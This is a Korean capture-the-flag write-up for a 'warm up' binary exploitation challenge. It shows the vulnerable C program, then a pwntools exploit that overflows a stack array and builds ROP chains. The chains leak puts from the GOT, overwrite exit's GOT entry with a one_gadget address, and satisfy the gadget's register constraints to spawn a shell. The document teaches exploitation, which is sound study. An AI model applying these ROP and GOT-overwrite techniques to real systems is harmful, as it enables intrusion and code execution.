Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
    long long n, i;
    long long A[16];
    long long sum, average;

    alarm(60);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    printf("n: ");
    if (scanf("%lld", &n)!=1)
        exit(0);
    for (i=0; i<n; i++)
    {
        printf("A[%lld]: ", i);
        if (scanf("%lld", &A[i])!=1)
            exit(0);
        //  prevent integer overflow in summation
        if (A[i]<-123456789LL || 123456789LL<A[i])
        {
            printf("too large\n");
            exit(0);
        }
    }

    sum = 0;
    for (i=0; i<n; i++)
        sum += A[i];
    average = (sum+n/2)/n;
    printf("Average = %lld\n", average);
}

분석

long long 에서 의심스럽다.. 저번 작문에 서 long long으로는 메모리주소범위의 숫자도 다룰 수 있는 것을 알았다.

대놓고 Overflow와 Out of Boundary가있다. A[16] 이지만 scanf를 lld로 하고 그 값을 검사하지 않는다.

Return값은 쉽게 덮어 쓸 수 있다. 딱히 system을 쓰거나 syscall 가젯이 없고 libc가 주어진 것을 보면 one_gadget이다.

추론을 통한 Stack 의 구조는

0x7ffffffede10: 0x0000000000000100      0x0000000000000100
0x7ffffffede20: 0x0000000000000100      0x0000000000000100
0x7ffffffede30: 0x0000000000000100      0x0000000000000100
0x7ffffffede40: 0x0000000000000100      0x0000000000000100
0x7ffffffede50: 0x0000000000000100      0x0000000000000100
0x7ffffffede60: 0x00000000000000c2      0x00007ffffffede97
0x7ffffffede70: 0x00007ffffffede96      0x000000000040138d
0x7ffffffede80: 0x00007fffff7a0fc8      0x0000000000401340 < ----- A[16]
0x7ffffffede90: 0x000000000000000a<-n   0x0000000000000100 <---average
0x7ffffffedea0: 0x0000000000000a00<-sum 0x000000000000000a <--- i
0x7ffffffedeb0: 0x0000000000000000      0x00007fffff5d70b3 <-- __libc_start_main+243

libc leak

먼저 256을 10번 입력했을 때 스택의 메모리이다. 만약 22번째 인덱스의 값을 덮어 쓴다면 return address가 덮어씌워 질 것이다.

친숙한 puts가 보인다. puts가있고 Canary가없으니 고전적인 rop를 통해 libc상의 puts주소를 얻을 수 있다.

pwntools를 사용할 때 특징은 lld를 통해 받기 때문에 10진수 숫자를 string으로 적는 것이다.

처음의 25는 n의 값이며 18을 넘는다면 18번째에서 n을 overwrite할 수 있어 사실 18 이상의 숫자면 아무거나 상관이 없다.

19를 입력하는 곳은 i의 위치로 이것을 20으로 하여 아래의 sendline(b'0’)를 하나 줄일 수 있지만 실제 저 위치에서의 i값을 넣어서 직관적으로 보이게 하였다.

pc.sendline(b'25')
for i in range(16):
pc.sendline(b'0')
pc.sendline(b'25')
pc.sendline(b'0')
pc.sendline(b'0')
pc.sendline(b'19')
pc.sendline(b'0')
pc.sendline(pop_rdi_ret)
pc.sendline(puts_got)
pc.sendline(puts_plt)
pc.sendline(main)

다음 Gadget과 got plt정보를 이용하는 것으로 libc상의 puts주소를 출력한 다음에 main으로 돌아가는 것이 가능하다.

pc.recvline()
puts_libc = u64(pc.recvline()[:-1]+b'\x00'*2)
log.info("puts_libc : "+hex(puts_libc))
libc_base = puts_libc - offset
one_gadget = libc_base + one_gadget
log.info("libc_base : "+hex(libc_base))
log.info("one_gadget: "+hex(one_gadget))
log.info(str(one_gadget))

puts의 leak과 제공받은 libc의 정보로 필요한 주소 정보들을 계산한다.

문제는 이 one_gadget을 사용하면서 발생한다.

One Gadget의 입력

if (A[i]<-123456789LL || 123456789LL<A[i])
        {
            printf("too large\n");
            exit(0);
        }

이 조건문 때문에 libc의 주소의 값들은 여기서 걸러져서 입력할 수 없다. 다른 방법으로 입력하여야 한다.

여기서 got overwrite를 이용하기로 했다. got table에는 libc로 부터 불러온 다양한 함수가 있지만 그 중에서 가장 안정적으로 내가 부를 수 있는 함수는 exit이라 생각했다.

즉 ROP를 활용하여 scanf를 부른 후에 그 결과를 exit의 got를 지정하여 그곳에 One Gadget을 입력한 후에 exit을 호출하기로 했다.

이 때 부르는 scanf는 main함수에서의 입력과는 별개로 저 조건을 무시하고 값을 원하는 주소에 입력할 수 있다.

rop 가젯을 이용하여 rdi에는 %lld를 입력 rsi에는 exit의 got주소를 입력하여 scanf를 호출한 후에 다시 main으로 돌아온다.

pc.sendline(b'22')
for i in range(16):
pc.sendline(b'0')
pc.sendline(b'28')
pc.sendline(b'0')
pc.sendline(b'0')
pc.sendline(b'19')
pc.sendline(b'0')
pc.sendline(pop_rdi_ret)
pc.sendline(b'4202504')
pc.sendline(pop_rsi_r15_ret)
pc.sendline(b'4210752')
pc.sendline(b'0')
pc.sendline(scanf)
pc.sendline(b'4198775')
pc.sendline(str(one_gadget))
log.info("ONE_GADGET TO EXIT")

main을 이번엔 4198775로 입력한 이유는 stack의 정렬 때문에 실제 main시작보다 하나 떨어진 위치에서 시작해야하여 조절한 것이다.

보통 특정함수로 강제로 jump 했을 때 뭔가 세그폴이 난다면 그 함수의 시작위치를 조절해보자

이걸로 rop를 통해 scanf를 원하는대로 호출하고 main함수까지 돌아가게 한 후에 scanf에서는 one_gadget을 exit의 got에 입력할 수 있다.

One gadget 조건 맞추기

이번에 사용한 one gadget은 다음과 같다

0xdf54c execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

r12와 r15를 0x0으로 할 필요가 있다. 이를 위해 한번 더 rop를 하여 r12와 r15에 0을 pop 시키고 다시 exit

pc.sendline(b'22')
for i in range(16):
pc.sendline(b'0')
pc.sendline(b'27')
pc.sendline(b'0')
pc.sendline(b'0')
pc.sendline(b'19')
pc.sendline(b'0')
pc.sendline(pop_r12_15)
pc.sendline('0')
pc.sendline('0')
pc.sendline('0')
pc.sendline('0')
pc.sendline('4198528') # exit plt ( one_ gadget )
pc.interactive()

r12~15에 0을 pop 시킨 후 exit의 plt를 사용하여 one_gadget으로 덮어씌워진 exit함수를 호출한다.

얏호

냠냠

warm up인데 이미 다 불타서 재가되어버렸다.